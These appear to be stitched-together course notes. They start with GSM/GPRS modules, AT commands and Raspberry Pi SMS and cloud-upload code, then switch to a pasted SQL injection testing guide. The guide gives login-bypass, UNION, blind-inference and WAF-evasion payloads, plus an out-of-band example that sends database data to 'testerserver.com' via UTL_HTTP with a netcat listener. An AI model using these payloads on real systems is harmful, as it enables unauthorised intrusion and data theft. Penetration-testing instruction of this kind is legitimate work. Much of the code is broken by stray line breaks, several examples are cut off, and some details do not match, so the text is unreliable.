Mobile Com & Cyber
Mobile Com & Cyber
Mobile Com & Cyber
Table of Contents
● What is GSM?
● What is GPRS?
● What is GSM Module?
● Difference between GSM/GPRS Modems, Modules, and Mobiles
● Understanding Modems
● Functions of Modem
● What is a Mobile Station?
● Applications of GSM Module or GPRS Module
● What is AT Command?
● Tasks that can be done by AT Commands
Note:Interface a Mobile Phone with the
Microsoft Windows Platform
● GPS/GPRS-based Projects
What is GSM?
GSM (Global System for Mobile Communications, originally Groupe Spécial Mobile), is a
standard developed by the European Telecommunications Standards Institute (ETSI).
It was created to describe the protocols for second-generation (2G) digital cellular networks
used by mobile phones and is now the default global standard for mobile communications –
with over 90% market share, operating in over 219 countries and territories.
What is GPRS?
General Packet Radio Service (GPRS) is a packet-oriented mobile data service on the 2G and 3G
cellular communication system’s global system for mobile communications (GSM).
GPRS was originally standardized by European Telecommunications Standards Institute (ETSI) in
response to the earlier CDPD and i-mode packet-switched cellular technologies. It is now
maintained by the 3rd Generation Partnership Project (3GPP).
A GSM module or a GPRS module is a chip or circuit that will be used to establish
communication between a mobile device or a computing machine and a GSM or GPRS system.
The modem (modulator-demodulator) is a critical part here.
These modules consist of a GSM module or GPRS modem powered by a power supply circuit
and communication interfaces (like RS-232, USB 2.0, and others) for computers.
A GSM modem can be a dedicated modem device with a serial, USB, or Bluetooth connection,
or it can be a mobile phone that provides GSM modem capabilities.
A GSM module or GPRS modules are similar to modems, but there’s one difference: A
GSM/GPRS Modem is external equipment, whereas the GSM/GPRS module is a module that
can be integrated within the equipment. It is an embedded piece of hardware.
A GSM mobile, on the other hand, is a complete system in itself with embedded processors
that are dedicated to providing an interface between the user and the mobile network.
Understanding Modems
Wireless modems generate, transmit or decode data from a cellular network, in order to
establish communication.
A GSM/GPRS modem is a class of wireless modems, designed for communication over the GSM
and GPRS network. It requires a SIM (Subscriber Identity Module) card just like mobile
phones to activate communication with the network. Also, they have IMEI (International
Mobile Equipment Identity) numbers similar to mobile phones for their identification.
1. The MODEM needs AT commands, for interacting with the processor or controller,
which are communicated through serial communication.
2. These commands are sent by the controller/processor.
3. The MODEM sends back a result after it receives a command.
4. Different AT commands supported by the MODEM can be sent by the
processor/controller/computer to interact with the GSM and GPRS cellular network.
Functions of Modem
A mobile phone and Subscriber Identity Module (SIM) together form a mobile station. It is the
user equipment that communicates with the mobile network. A mobile phone comprises
Mobile Termination, Terminal Equipment, and Terminal Adapter.
Mobile Termination is interfaced with the GSM mobile network and is controlled by a baseband
processor. It handles access to SIM, speech encoding and decoding, signaling, and other
network-related tasks.
Terminal Equipment is an application processor that deals with handling operations related to
keypads, screens, phone memory, and other hardware and software services embedded into
the handset.
The Terminal Adapter establishes communication between the Terminal Equipment and the
Mobile Termination using AT commands. The communication with the network in a GSM/GPRS
mobile is carried out by the baseband processor.
Applications of GSM Module or GPRS Module
The GSM/GPRS module demonstrates the use of AT commands. They can feature all the
functionalities of a mobile phone through a computer like making and receiving calls, SMS,
MMS, etc. These are mainly employed for computer-based SMS and MMS services.
What is AT Command?
They are known as AT commands because every command line starts with “AT” or “at”. AT
commands are instructions used to control a modem. AT is the abbreviation of ATtention.
GSM/GPRS modems and mobile phones support an AT command set that is specific to the GSM
technology, which includes SMS-related commands like AT+CMGS (Send SMS message),
AT+CMSS (Send SMS message from storage), AT+CMGL (List SMS messages) and AT+CMGR
(Read SMS messages).
Note that the starting “AT” is the prefix that informs the modem about the start of a command
line. It is not part of the AT command name.
For example, D is the actual AT command name in ATD and +CMGS is the actual AT command
name in AT+CMGS. However, some books and websites use them interchangeably as the name
of an AT command.
Here are some of the tasks that can be done using AT commands with a GSM/GPRS modem or
mobile phone:
● Get basic information about the mobile phone or GSM/GPRS modem. For example,
the name of the manufacturer (AT+CGMI), model number (AT+CGMM), IMEI number
(International Mobile Equipment Identity) (AT+CGSN), and software version
(AT+CGMR).
● Get basic information about the subscriber. For example, MSISDN (AT+CNUM) and
IMSI number (International Mobile Subscriber Identity) (AT+CIMI).
● Get the current status of the mobile phone or GSM/GPRS modem. For example,
mobile phone activity status (AT+CPAS), mobile network registration status
(AT+CREG), radio signal strength (AT+CSQ), battery charge level, and battery charging
status (AT+CBC).
● Establish a data connection or voice connection to a remote modem (ATD, ATA, etc).
● Send and receive a fax (ATD, ATA, AT+F*).
● Send (AT+CMGS, AT+CMSS), read (AT+CMGR, AT+CMGL), write (AT+CMGW) or
delete (AT+CMGD) SMS messages and obtain notifications of newly received SMS
messages (AT+CNMI).
● Read (AT+CPBR), write (AT+CPBW) or search (AT+CPBF) phonebook entries.
● Perform security-related tasks, such as opening or closing facility locks (AT+CLCK),
checking whether a facility is locked (AT+CLCK), and changing passwords (AT+CPWD).
(Facility lock examples: SIM lock [a password must be given to the SIM card every
time the mobile phone is switched on] and PH-SIM lock [a certain SIM card is
associated with the mobile phone. To use other SIM cards with the mobile phone, a
password must be entered.])
● Control the presentation of result codes/error messages of AT commands. For
example, you can control whether to enable certain error messages (AT+CMEE) and
whether error messages should be displayed in numeric format or verbose format
(AT+CMEE=1 or AT+CMEE=2).
● Get or change the configurations of the mobile phone or GSM/GPRS modem. For
example, change the GSM network (AT+COPS), bearer service type (AT+CBST), radio
link protocol parameters (AT+CRLP), SMS center address (AT+CSCA), and storage of
SMS messages (AT+CPMS).
● Save and restore configurations of the mobile phone or GSM/GPRS modem. For
example, save (AT+CSAS) and restore (AT+CRES) settings related to SMS messaging
such as the SMS center address.
Note:
But if the mobile network operator does not support the transmission of SMS over GPRS, you
cannot use this feature.
Windows (XP and lower versions) comes with an application called HyperTerminal for data
communication through the serial port of the computer. The interfacing of the GSM module or
GPRS module with the serial port of the computer involves the following steps:
1. Connect the RS-232 port of the GSM module with the serial port of the computer.
Insert a SIM card in the module.
2. Open HyperTerminal from Start -> All Programs -> Accessories ->
Communications -> HyperTerminal.
3. Enter a name for the connection and press OK.
4. Now select the communication port (COM) at which the GSM module is connected.
5. Create a new connection set on HyperTerminal. Set parameters, like baud rate as
9600, handshaking mode as none, parity bit as none, stop bit as 1, and data bit as 8.
Booting the GSM Module!
1. Insert the SIM card into the GSM module and lock it.
2. Connect the adapter to the GSM module and turn it ON!
3. Now wait for some time (say 1 minute) and see the blinking rate of ‘status LED’ or ‘network
LED’ (GSM module will take some time to establish a connection with mobile network)
4. Once the connection is established successfully, the status/network LED will blink
continuously every 3 seconds. You may try making a call to the mobile number of the sim card
inside the GSM module. If you hear a ring back, the gsm module has successfully established a
network connection.
import
serial
import time
ser = serial.Serial('/dev/ttyS0', 9600) # Serial port for Raspberry Pi
def setup():
ser.write(b'AT\r\n')
time.sleep(1)
show_serial_data()
def loop():
if ser.in_waiting > 0:
switch_char = ser.read().decode('utf-8')
if switch_char == 's':
send_message()
elif switch_char == 'r':
receive_message()
def send_message():
ser.write(b'AT+CMGF=1\r\n') # Sets the GSM Module in Text Mode
time.sleep(1)
ser.write(b'AT+CMGS="+91xxxxxxxxxx"\r\n') # Replace x with the mobile number
time.sleep(1)
ser.write(b'I am SMS from GSM Module') # The SMS text you want to send
time.sleep(0.1)
ser.write(b'\x1A\r\n') # ASCII code of CTRL+Z
time.sleep(1)
def receive_message():
ser.write(b'AT+CNMI=2,2,0,0,0\r\n') # AT Command to receive a live SMS
time.sleep(1)
def show_serial_data():
while ser.in_waiting >
0:
print(ser.readline().decode('utf-8').strip())
time.sleep(0.1)
2) Receive SMS using raspberry pi and GSM Module – to the SIM card loaded in the GSM
Module.
import
serial
import time
Here, we import the necessary libraries - serial for working with the serial communication and
time for managing delays.
ser = serial.Serial('/dev/ttyS0', 9600)
This line initializes a serial connection on the Raspberry Pi using the /dev/ttyS0 port with a baud
rate of 9600. Adjust the port according to your hardware configuration.
def setup():
ser.write(b'AT\r\
n') time.sleep(1)
show_serial_data()
In the setup() function, the code sends the AT command to the GSM module to check its
communication. It then waits for a second (time.sleep(1)) and calls the
show_serial_data() function to display any response received from the GSM module.
def loop():
if ser.in_waiting > 0:
switch_char = ser.read().decode('utf-8')
if switch_char == 's':
send_message()
elif switch_char == 'r':
receive_message()
The loop() function continuously checks if there is data available on the serial port
(ser.in_waiting > 0). If data is available, it reads one character from the serial port and checks if
it's 's' or 'r'. If 's' is received, it calls the send_message() function, and if 'r' is received, it calls
the receive_message() function.
def send_message():
ser.write(b'AT+CMGF=1\r\n')
time.sleep(1)
ser.write(b'AT+CMGS="+91xxxxxxxxxx"\r\n')
time.sleep(1)
ser.write(b'I am SMS from GSM Module')
time.sleep(0.1)
ser.write(b'\x1A\r\
n') time.sleep(1)
The send_message() function sends AT commands to set the GSM module in text mode
(AT+CMGF=1). It then specifies the recipient phone number (AT+CMGS="+91xxxxxxxxxx") and
sends the actual message ("I am SMS from GSM Module"). The '\x1A' is the ASCII code for
CTRL+Z, indicating the end of the message. The function introduces delays between each
command.
def receive_message():
ser.write(b'AT+CNMI=2,2,0,0,0\r\n')
time.sleep(1)
The receive_message() function sends the AT command to configure the GSM module to
notify about incoming messages (AT+CNMI=2,2,0,0,0). It then introduces a short delay.
def show_serial_data():
while ser.in_waiting >
0:
print(ser.readline().decode('utf-8').strip())
time.sleep(0.1)
The show_serial_data() function reads and prints any available data from the serial port. It does
this in a loop until there is no more data available, introducing a short delay after each line is
printed.
Finally, the code checks if the script is being run directly (if name == " main ":). If so, it
calls the setup() function to initialize the GSM module and then enters a continuous loop
calling the loop() function and introducing a 1-second delay between iterations. This loop
constantly checks for incoming characters and triggers corresponding actions.
Experiments
List of experiments
Both the experiments are based on the communication via AT Commands & sending the real
time data securely encrypted to the end point. ( To the Cloud Platforms with respective API &
Secret Key).
Experiment 1 :
Setting up Thingspeak
ThingSpeak provides very good tool for IoT based projects. By using ThingSpeak site, we can
monitor our data and control our system over the Internet, using the Channels and web
pages provided by ThingSpeak. So first you need to sign up for ThingSpeak. So visit
https://thingspeak.com and create an account.
Then create a new channel and set up what you want. The tutorial in the video below. Follow
the video for more clarifications.
Then create the API keys. This key is required for programming modifications and setting
your data.
Now click on channels so that you can see the online data streaming
Source Code/Program
The source code/program to Send GSM SIM800/900 GPRS Data to Thingspeak with
raspberry pi is given below.
From the code, change the APN. For example the APN for Airtel is airtelgprs.com. You can
check your SIM APN from your google or cellular provider.
ser.write(b'AT+CIPSPRT=0\r\n')
time.sleep(3)
show_serial_data()
def loop():
h, t = read_dht()
print("Temperature = {:.2f} °C".format(t))
print("Humidity = {:.2f} %".format(h))
data_to_send = "GET {:.2f}&field2={:.2f}".format(t, h)
print(data_to_send)
ser.write((data_to_send + "\r\
n").encode()) time.sleep(4)
show_serial_data()
def read_dht():
ser.write(b'ReadDHT\r\
n') time.sleep(0.1)
response = ser.readline().decode('utf-8').strip().split(',')
if len(response) == 2:
humidity, temperature = map(float, response)
return humidity, temperature
else:
return None, None
def show_serial_data():
while ser.in_waiting >
0:
print(ser.readline().decode('utf-8').strip())
time.sleep(5)
Test/Results
After uploading the code, the GSM Module will try connecting to the Cellular Network. Then
it will establish the connection with Thingspeak Server. You can open the Serial Monitor to
see all the steps.
Similarly go to the Private view of Thingspeak Server. You will see the temperature and
Humidity data getting uploaded after 30 seconds.
Experiment 2 :
To Send Sensor Data to Firebase with ESP8266. You can follow basic Google Firebase
Setup to setup the firebase first.
We need the Firebase Host and the Authentication to connect the GSM to Firebase for
communication.
You can get the Firebase Host from the Realtime Database.
Following code can help to communicate the GSM & raspberry pi with Google Firebase.
Change the Firebase Host and the Authentication Token from the above lines.
Change for SIM or Service Provider APN from the above line.
Now you can copy the below code and upload it to the Rasberry Pi Board. pip install
pyserial
CODE :
import serial
import time
import http.client
import json
DHTPIN = 3
FIREBASE_HOST = "***************************************"
FIREBASE_AUTH = "***************************************"
FIREBASE_PATH = "/"
SSL_PORT = 443
apn = "www"
user = ""
passwd = ""
def setup():
global conn
ser.write(b'AT\r\n')
time.sleep(1)
ser.write(b'AT+CPIN?\r\n')
time.sleep(1)
ser.write(b'AT+CREG?\r\n')
time.sleep(1)
ser.write(b'AT+CGATT?\r\n')
time.sleep(1)
ser.write(b'AT+CIPSHUT\r\n')
time.sleep(1)
ser.write(b'AT+CIPSTATUS\r\n')
time.sleep(2)
ser.write(b'AT+CIPMUX=0\r\n')
time.sleep(2) show_serial_data()
ser.write(b'AT+CIPSPRT=0\r\n')
time.sleep(3) show_serial_data()
def loop():
h, t = read_dht()
print("Temperature = {:.2f} °C".format(t))
print("Humidity = {:.2f} %".format(h))
def read_dht():
ser.write(b'ReadDHT\r\n')
time.sleep(0.1)
response = ser.readline().decode('utf-8').strip().split(',') if
len(response) == 2:
humidity, temperature = map(float, response)
return humidity, temperature
else:
return None, None
def post_to_firebase(data):
url = f"/{FIREBASE_PATH}.json?auth={FIREBASE_AUTH}" headers =
{"Content-type": "application/json"}
Test/Results
After uploading the code, the Nodemcu will connect to the Wifi Network. Now you can open
the serial monitor, it will show the temperature and humidity reading.
When the temperature and humidity data is displayed on Serial Monitor at the same time, the
data is sent to Google Firebase Database. You can just open the google Firebase console window
and check the real-time entry of the data.
● Inband: data is extracted using the same channel that is used to inject the SQL code.
This is the most straightforward attack, in which the retrieved data is presented
directly in the application web page.
● Out-of-band: data is retrieved using a different channel (e.g., an email with the results
of the query is generated and sent to the tester).
● Inferential or Blind: there is no actual transfer of data. Still, the tester can reconstruct
the information by sending particular requests and
observing the resulting behavior of the DB Server.
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL
Query. If the application returns an error message generated by an incorrect query, then it may
be easier for an attacker to reconstruct the logic of the original query and, therefore,
understand how to perform the injection correctly. However, if the application hides the error
details, then the tester must be able to reverse engineer the logic of the original query.
About the techniques to exploit SQL injection flaws, there are five common techniques. Also,
those techniques sometimes can be used in a combined way (e.g. union operator and out-of-
band):
● Union Operator: can be used when the SQL injection flaw happens in a SELECT
statement, making it possible to combine two queries into a
single result or result set.
● Boolean: use Boolean condition(s) to verify whether certain conditions are true or
false.
● Error-based: this technique forces the database to generate an error, giving the
attacker or tester information upon which to refine their
injection.
● Out-of-band: the technique used to retrieve data using a different
channel (e.g., make an HTTP connection to send the results to a web server).
● Time delay: use database commands (e.g. sleep) to delay answers in conditional
queries. It is useful when the attacker doesn’t have some answer (result, output, or
error) from the application.
Test Objectives
How to Test
Detection Techniques
The first step in this test is to understand when the application interacts with a DB Server to
access some data. Typical examples of cases, when an application needs to talk to a DB,
include:
The tester has to make a list of all input fields whose values could be used in crafting a SQL
query, including the hidden fields of POST requests, and then test them separately, trying to
interfere with the query and to generate an error. Consider also HTTP headers and Cookies.
The very first test usually consists of adding a single quote ' or a semicolon
; to the field or parameter under test. The first is used in SQL as a string
terminator and, if not filtered by the application, would lead to an incorrect query. The second
is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The
output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this
case):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server
Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113
Also comment delimiters (-- or /* */, etc) and other SQL keywords like AND and OR can be used
to try to modify the query. A very simple but sometimes still effective technique is simply to
insert a string where a number is expected, as an error like the following might be generated:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
Monitor all the responses from the web server and have a look at the HTML/JavaScript source
code. Sometimes the error is present inside them but for some reason (e.g. JavaScript error,
HTML comments, etc) is not presented to the user. A full error message, like those in the
examples, provides a wealth of information to the tester to mount a successful injection attack.
However, applications often do not provide so much detail: a simple ‘500 Server Error’ or a
custom error page might be issued, meaning that we need to use blind injection techniques.
In any case, it is very important to test each field separately: only one variable must vary
while all the others remain constant, in order to precisely understand which parameters are
vulnerable and which are not.
Standard SQL Injection Testing Methods
Classic SQL Injection
Consider the following SQL query:
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
A similar query is generally used from the web application to authenticate a user. If the query
returns a value it means that inside the database a user with that set of credentials exists, then
the user is allowed to log-in to the system, otherwise access is denied. The values of the input
fields are generally obtained from the user through a web form. Suppose we insert the
following Username and Password values:
$username = 1' or '1' = '1
$password = 1' or '1' = '1
The query will be:
http://www.example.com/index.php?username=1'%20or%20'1'%2
0=%20'1'))/*&password=foo
This may return some values. Sometimes, the authentication code verifies that the number of
returned records/results is exactly equal to 1. In the previous examples, this situation would be
difficult (in the database there is only one value per user). To get around this problem, it is
enough to insert an SQL command that imposes a condition that the number of the returned
results must be one (one record returned). To reach this goal, we use the operator LIMIT
<num>, where <num> is the number of the results/records that we want to be returned.
Concerning the previous example, the value of the fields Username and Password will be
modified as follows:
$username = 1' or '1' = '1')) LIMIT 1/*
$password = foo
In this way, we create a request like the following:
http://www.example.com/index.php?username=1'%20or%20'1'%2 0=%20'1'))%20LIMIT
%201/*&password=foo
SELECT Statement
Consider the following SQL query:
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '\'' at line 1
One complete UNION SELECT with version() can also help to know the backend database.
SELECT id, name FROM users WHERE id=1 UNION SELECT 1,
version() limit 1,1
Oracle:
If there is no error message or a custom error message, the tester can try to inject it into string
fields using varying concatenation techniques:
Oracle: ’ing ’
‘test’
PostgreSQL: ’ing ’
‘test’
Exploitation Techniques
Union Exploitation Technique
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to
the original query. The result of the forged query will be joined to the result of the original
query, allowing the tester to obtain the values of columns of other tables. Suppose, for our
example, that the query executed from the server is the following:
SELECT Name, Phone, Address FROM Users WHERE Id=$id
We will set the following $id value:
Root Cause
The reason you can’t use the usual Union techniques is the complexity of the vulnerable query.
In the Union Technique, you comment on the rest of the query after your UNION payload. It’s
fine for normal queries, but in more complicated queries it can be problematic. If the first part
of the query depends on the second part of it, commenting on the rest of it breaks the original
query.
Scenario 1
The vulnerable query is a sub-query, and the parent query handles returning the data.
SELECT
*
FRO
M
customers
WHER
E IN ( --\
id |
SELECT
DISTINCT customer_id |
FROM |
orders |--> vulnerable query
WHERE |
cost > 200 |
); --/
● Problem: If you inject a UNION payload, it doesn’t affect the returned data. Because
you are modifying the WHERE section. In fact, you are not appending a UNION query
to the original query.
● Solution: You need to know the query which gets executed in the backend. Then,
create your payload based on that. It means closing open parentheses or adding
proper keywords if needed.
Scenario 2
The vulnerable query contains aliases or variable declarations.
SELECT
s1.user_id,
(
--\
CASE WHEN s2.user_id IS NOT NULL AND s2.sub_type = 'INJECTION_HERE'
THEN 1 ELSE 0 END |--> vulnerable query
) AS overlap
--/
FRO
M
subscriptions AS s1
LEFT JOIN subscriptions AS s2 ON s1.user_id != s2.user_id
AND s1.start_date <= s2.end_date
AND s1.end_date >= s2.start_date GROUP BY
s1.user_id
● Problem: You break the query when you comment the rest of the original query
after your injected payload because some aliases or variables become undefined.
● Solution: You need to put appropriate keywords or aliases at the beginning of your
payload. this way the first part of the original query stays valid.
Scenario 3
The result of the vulnerable query is being used in a second query. The second query
returns the data, not the first one.
<?php
// retrieves product ID based on product name
--\
$query1 = "SELECT |
id |
FROM |
products |--> vulnerable query #1
WHERE |
name = '$name'"; |
--/
$result1 = odbc_exec($conn, $query1);
// retrieves product's comments based on the product ID
--\
$query2 = "SELECT |
comments |
FROM |
products |--> vulnerable query #2
WHERE |
id = '$result1'"; |
--/
$result1 = odbc_exec($conn, $query2);
?>
● Problem: You can add a UNION payload to the first query but it won’t affect the
returned data.
solution: You need to inject in the second query. So the input to the second query should not
get sanitized. Then, you need to make the first query return
no data. Now append a UNION query that returns the payload you want to inject in the
second query.
Example:
The base of the payload (what you inject in the first query):
' AND 1 = 2 UNION SELECT "PAYLOAD" -- -
The PAYLOAD is what you want to inject in the second query:
' AND 1=2 UNION SELECT ...
The final payload (after replacing the PAYLOAD):
' AND 1 = 2 UNION SELECT "' AND 1=2 UNION SELECT ..." -- -
\ /
||
\/
the payload that get's
injected
into the second query
\ /
||
\/
the actual query we inject into the vulnerable parameter
The first query after injection:
SELECT --\
id |
FROM |----> first query
products |
WHERE |
name = 'abcd' --/
AND 1 = 2 --\
UNION |----> injected
payload (what gets injected into the second payload)
SELECT |
"' AND 1=2 UNION SELECT ... -- -" -- -' --/
The second query after injection:
SELECT --\
comments |
FROM |----> second query
products |
WHERE |
id = '' --/
AND 1 = 2 --\
UNION |----> injected payload (the final UNION
query that controls the returned data)
SELECT ... -- -' --/
Scenario 4
The vulnerable parameter is being used in several independent queries.
<?php
//retrieving product details based on product ID
$query1 = "SELECT
name,
inserted,
size
FROM
products
WHERE
id = '$id'";
$result1 = odbc_exec($conn, $query1);
//retrieving product comments based on the product ID
$query2 = "SELECT
comments
FROM
products
WHERE
id = '$id'";
$result2 = odbc_exec($conn, $query2);
?>
● Problem: Appending a UNION query to the first (or second) query doesn’t break
it, but it may break the other one.
● Solution: It depends on the code structure of the application. But the first step is to
know the original query. Most of the time, these
injections are time-based. Also, the time-based payload gets injected in several
queries which can be problematic.
For example, if you use SQLMap, this situation confuses the tool and the output gets
messed up. Because the delays will not be as expected.
Extracting Original Query
As you see, knowing the original query is always needed to achieve a union-based injection.
You can retrieve the original query using the default DBMS tables:
DBMS Table
MySQL INFORMATION_SCHEMA.PROCESSLIST
PostgreSQL pg_stat_activity
Microsoft SQL sys.dm_exec_cached_plans
Server
Oracle V$SQL
Automation
Steps to automate the workflow:
Example:
Consider the third scenario discussed above.
We assume the DMBS is MySQL and the first and second queries return only one column. This
can be your payload for extracting the version of the database:
' AND 1=2 UNION SELECT " ' AND 1=2 UNION SELECT @@version -- -" --
So the target URL would be like this:
http://example.org/search?query=abcd'+AND+1=2+UNION+SELECT+"+'AND
1=2+UNION+SELECT+@@version+--+-"+--+-
Automation:
● SUBSTRING (text, start, length): returns a substring starting from the position “start” of
text and length “length”. If “start” is greater than the length of text, the function
returns a null value.
● ASCII (char): it gives back the ASCII value of the input character. A null value is returned
if char is 0.
● LENGTH (text): it gives back the number of characters in the input text.
Through such functions, we will execute our tests on the first character and, when we have
discovered the value, we will pass it to the second and so on, until we will have discovered the
entire value. The tests will take advantage of the function SUBSTRING, to select only one
character at a time (selecting a single character means imposing the length parameter to 1),
and the function ASCII, to obtain the ASCII value, so that we can do numerical comparison. The
results of the comparison will be done with all the values of the ASCII table until the right value
is found. As an example, we will use the following value for Id:
$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
That creates the following query (from now on, we will call it “inferential query”):
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND
ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
The previous example returns a result if and only if the first character of the field username is
equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table
from 97 to 98 and we repeat the request. If instead we obtain a true value, we set the index of
the ASCII table to zero and we analyze the next character, modifying the parameters of the
SUBSTRING function. The problem is to understand in which way we can distinguish tests
returning a true value from those that return false. To do this, we create a query that always
returns false. This is possible by using the following value for Id:
$Id=1' AND '1' = '2
Which will create the following query:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
The obtained response from the server (that is HTML code) will be the false value for our tests.
This is enough to verify whether the value obtained from the execution of the inferential query
is equal to the value obtained with the test executed before. Sometimes, this method does not
work. If the server returns two different pages as a result of two identical consecutive web
requests, we will not be able to discriminate the true value from the false value. In these
particular cases, it is necessary to use particular filters that allow us to eliminate the code that
changes between the two requests and obtain a template. Later on, for every inferential
request executed, we will extract the relative template from the response using the same
function, and we will perform a control between the two templates to decide the result of the
test.
In the previous discussion, we haven’t dealt with the problem of determining the termination
condition for our tests, i.e. when we should end the inference procedure. A technique to do this
uses one characteristic of the SUBSTRING function and the LENGTH function. When the test
compares the current character with the ASCII code 0 (i.e. the value null) and the test returns
the value true, then either we are done with the inference procedure (we have scanned the
whole string), or the value we have analyzed contains the null character.
We will insert the following value for the field Id:
$Id=1' AND LENGTH(username)=N AND '1' = '1
Where N is the number of characters that we have analyzed up to now (not counting the null
value). The query will be:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
The query returns either true or false. If we obtain true, then we have completed the inference
and, therefore, we know the value of the parameter. If we obtain false, this means that the null
character is present in the value of the parameter, and we must continue to analyze the next
parameter until we find another null value.
The blind SQL injection attack needs a high volume of queries. The tester may need an
automatic tool to exploit the vulnerability.
Error Based Exploitation Technique
An Error based exploitation technique is useful when the tester for some reason can’t exploit
the SQL injection vulnerability using other techniques such as UNION. The Error-based
technique consists of forcing the database to perform some operation in which the result will
be an error. The point here is to try to extract some data from the database and show it in the
error message. This exploitation technique can be different from DBMS to DBMS (check DBMS
specific section).
Consider the following SQL query:
http://www.example.com/product.php?id=10||UTL_HTTP.reques t(‘testerserver.com:80’||
(SELECT user FROM DUAL)--
In this example, the tester is concatenating the value 10 with the result of the function
UTL_HTTP.request. This Oracle function will try to connect to testerserver and make an HTTP
GET request containing the return from the query SELECT user FROM DUAL. The tester can set
up a web server (e.g. Apache) or use the Netcat tool:
/home/tester/nc –nLp 80
anyusername or 1=1'
anypassword
This procedure does not sanitize the input, therefore allowing the return value to show an
existing record with these parameters.
This example may seem unlikely due to the use of dynamic SQL to log in
a user but consider a dynamic reporting query where the user selects the
columns to view. The user could insert malicious code into this scenario and
compromise the data.
Consider the following SQL Server Stored Procedure:
Create
procedure get_report @columnamelist varchar(7900) As
Declare @sqlstring varchar(8000) Set
@sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘ exec(@sqlstring)
Go
User input:
This will result in the report running and all users’ passwords being updated. Automated
Exploitation
Most of the situations and techniques presented here can be performed in an
automated way using some tools. In this article, the tester can find information on how
to perform automated auditing using SQLMap
SQL Injection Signature Evasion Techniques
The techniques are used to bypass defenses such as Web application firewalls (WAFs) or
intrusion prevention systems (IPSs).
Whitespace
Dropping space or adding spaces that won’t affect the SQL statement. For example
or 'a'='a'
or 'a' = 'a'
Adding special characters like a new line or tab that won’t change the SQL statement
execution. For example,
or
'a'=
'a'
Null Bytes
Use null byte (%00) before any characters that the filter is blocking.
'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHER
E/**/name/**/LIKE/**/'admin'--'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/
**/Users
/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--
URL Encoding
Use the online URL encoding to encode the SQL statement
; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)
● To secure the application from SQL injection vulnerabilities, refer to the SQL Injection
Prevention CheatSheet.
● To secure the SQL server, refer to the Database Security CheatSheet.
For generic input validation security, refer to the Input Validation CheatSheet.
Tools
● Oracle
● MySQL
● SQL Server
● PostgreSQL
● MS Access
● NoSQL
● ORM
● Client-side